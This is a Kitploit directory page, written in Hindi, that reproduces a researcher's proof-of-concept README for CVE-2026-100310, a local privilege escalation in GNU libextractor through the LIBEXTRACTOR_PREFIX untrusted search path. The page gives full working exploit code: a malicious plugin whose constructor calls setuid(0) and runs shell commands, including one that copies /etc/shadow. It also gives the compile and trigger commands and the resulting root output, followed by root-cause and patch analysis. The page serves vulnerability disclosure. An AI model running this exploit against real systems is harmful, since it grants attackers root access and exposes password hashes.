Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
libextractor-privesc — CVE-2026-100310 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, GNU libextractor ≤1.15 में LIBEXTRACTOR_PREFIX अविश्वसनीय सर्च पाथ के माध्यम से एक स्थानीय विशेषाधिकार वृद्धि, जिसमें एक्सप्लॉइट कोड और पैच विश्लेषण शामिल है। | Kitploit
उपकरण/GitHubGitHub/haitam-lazaar/libextractor-privesc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubhaitam-lazaar/libextractor-privesc

libextractor-privesc

CVE-2026-100310 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, GNU libextractor ≤1.15 में LIBEXTRACTOR_PREFIX अविश्वसनीय सर्च पाथ के माध्यम से एक स्थानीय विशेषाधिकार वृद्धि, जिसमें एक्सप्लॉइट कोड और पैच विश्लेषण शामिल है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
110घं 9मि पहलेअभी तक समीक्षित नहीं

CVE-2026-100310: LIBEXTRACTOR_PREFIX के माध्यम से GNU libextractor विशेषाधिकार वृद्धि

सारांश

GNU libextractor की प्लगइन लोडिंग प्रक्रिया यह निर्धारित करने के लिए LIBEXTRACTOR_PREFIX एनवायरनमेंट वेरिएबल का उपयोग करती है कि शेयर्ड लाइब्रेरीज़ (.so प्लगइन्स) कहाँ से लोड की जाएँ। चूँकि यह secure_getenv() के बजाय getenv() का उपयोग करता है, इसलिए जब कोई प्रोसेस उन्नत विशेषाधिकारों के साथ चलती है तो यह एनवायरनमेंट वेरिएबल हटाया नहीं जाता। एक हमलावर LIBEXTRACTOR_PREFIX को किसी दुर्भावनापूर्ण डायरेक्टरी पर सेट कर सकता है, जिससे कोई भी एप्लिकेशन जो libextractor प्लगइन्स लोड करता है, मनमाना कोड निष्पादित करने के लिए विवश हो जाता है।

प्राथमिक प्रभाव: root तक स्थानीय विशेषाधिकार वृद्धि (LPE)।

फ़ील्डमान
CVECVE-2026-100310
उत्पादGNU libextractor
प्रभावित संस्करण>= 0, < 1.16
ठीक किया गया संस्करण1.16
CVSS 4.07.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
गंभीरताHIGH
CWECWE-426 (Untrusted Search Path)
हमला वेक्टरस्थानीय
आवश्यक विशेषाधिकारनिम्न
उपयोगकर्ता इंटरैक्शनकोई नहीं
CNAVulnCheck
शोधकर्ताHaitam Lazaar

नोट: इस भेद्यता के परिणामस्वरूप स्थानीय विशेषाधिकार वृद्धि होने के लिए, किसी एडमिनिस्ट्रेटर ने libextractor से लिंक होने वाली एक बाइनरी को setuid बिट के साथ कॉन्फ़िगर किया होगा। हालाँकि libextractor स्वयं setuid बाइनरी के साथ नहीं आता, कोई भी विशेषाधिकार प्राप्त प्रोसेस या सिस्टम डेमॉन जो इस लाइब्रेरी को गतिशील रूप से लिंक करता है और एनवायरनमेंट को मैन्युअल रूप से साफ़ करने में विफल रहता है, पूर्ण समझौते के प्रति असुरक्षित है।

प्रभावित सॉफ़्टवेयर

  • GNU libextractor ≤ 1.15
  • कोई भी setuid बाइनरी या विशेषाधिकार प्राप्त डेमॉन जो libextractor से लिंक करता है

प्रूफ़ ऑफ़ कॉन्सेप्ट (डेमो)

Privilege Escalation Demo

ऊपर दिया गया एनिमेशन एक्सप्लॉइट को प्रदर्शित करता है। हमलावर एक दुर्भावनापूर्ण शेयर्ड लाइब्रेरी (evil_plugin.c) को कंपाइल करता है और उसे /tmp/evil_plugins में रखता है। libextractor का उपयोग करने वाली एक setuid बाइनरी को निष्पादित करके और कमांड को LIBEXTRACTOR_PREFIX=/tmp/evil_plugins के साथ प्रीफ़िक्स करके, डायनामिक लिंकर दुर्भावनापूर्ण प्लगइन को उन्नत विशेषाधिकारों के साथ लोड करता है। यह तुरंत root के रूप में मनमाने कमांड निष्पादित करता है, जिसे id के आउटपुट और प्रतिबंधित /etc/shadow फ़ाइल को /tmp/privesc_proof में लिखकर प्रदर्शित किया गया है।

हमला परिदृश्य और शोषण

यह भेद्यता मुख्य रूप से LIBEXTRACTOR_PREFIX एनवायरनमेंट वेरिएबल का शोषण करके ट्रिगर की जाती है।

(नोट: libextractor में /proc/PID/maps और लिखने योग्य PATH डायरेक्टरीज़ का उपयोग करने वाले द्वितीयक असुरक्षित फ़ॉलबैक भी हैं, लेकिन एनवायरनमेंट वेरिएबल इंजेक्शन सबसे प्रत्यक्ष और विश्वसनीय हमला वेक्टर है)।

प्रूफ़ ऑफ़ कॉन्सेप्ट कोड

root@kitploit:~
/*
 * evil_plugin.c — Malicious libextractor plugin for privilege escalation
 * Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
 *
 * Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
 * When any setuid application loads the OLE2 plugin, this constructor
 * escalates to full root (uid=0, gid=0) and runs arbitrary commands.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    /* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
    setuid(0);
    setgid(0);

    /* Now running as full root — shell commands work */
    system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
    system("id >> /tmp/privesc_proof");
    system("echo '' >> /tmp/privesc_proof");
    system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
    system("head -3 /etc/shadow >> /tmp/privesc_proof");
}

int _EXTRACTOR_ole2_extract_method = 0;

एक्सप्लॉइट को ट्रिगर करना

Ubuntu 24.04 पर libextractor 1.14 के साथ परीक्षण किया गया:

root@kitploit:~
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c

# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract

# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc

सत्यापन (पूर्ण Root)

root@kitploit:~
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)

--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::

मूल कारण

src/main/extractor_plugpath.c में, फ़ंक्शन get_installation_paths() मानक getenv() को कॉल करता है:

root@kitploit:~
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))

चूँकि यह secure_getenv() का उपयोग नहीं करता, डायनामिक लिंकर बाइनरी को उन्नत विशेषाधिकारों के साथ चलाए जाने पर इस वेरिएबल को हटाता नहीं है (LD_PRELOAD या LD_LIBRARY_PATH के विपरीत)। इसके बाद lt_dlopenadvise() हमलावर-नियंत्रित पथ से libextractor_<name>.so को बिना जाँच के लोड करता है।

आधिकारिक पैच (libextractor 1.16)

मेंटेनर ने संस्करण 1.16 में getenv() को secure_getenv() से बदलकर इसे ठीक किया, जो प्रोसेस के उन्नत विशेषाधिकारों (euid != uid) के साथ चलने पर NULL लौटाता है।

root@kitploit:~
-  if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+  if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-100310
  • VulnCheck एडवाइज़री: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.16-privilege-escalation-via-libextractor-prefix
  • अपस्ट्रीम पैच कमिट: https://git.gnunet.org/gnunet/libextractor/commit/6edfa653c048800e24a17f7e8cc2bb42659b8d01.html
  • उत्पाद रिलीज़: https://ftp.gnu.org/gnu/libextractor/
  • उत्पाद: https://www.gnu.org/software/libextractor/

श्रेय

मेरे (Haitam Lazaar) द्वारा अपने स्वतंत्र सुरक्षा शोध के दौरान खोजा गया।

आभार

GNU libextractor के मेंटेनर Christian Grothoff को उनकी अविश्वसनीय रूप से तेज़ ट्राइएज, पेशेवर संचार, और इस ऑडिट के दौरान रिपोर्ट किए गए इस तथा कई अन्य मेमोरी सुरक्षा मुद्दों को हल करने के लिए पैच (v1.15, v1.16, और v1.17) की त्वरित तैनाती के लिए विशेष धन्यवाद।

लाइसेंस

मेरा शोध शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है। जिम्मेदारी से उपयोग करें।

टूल डाउनलोड करें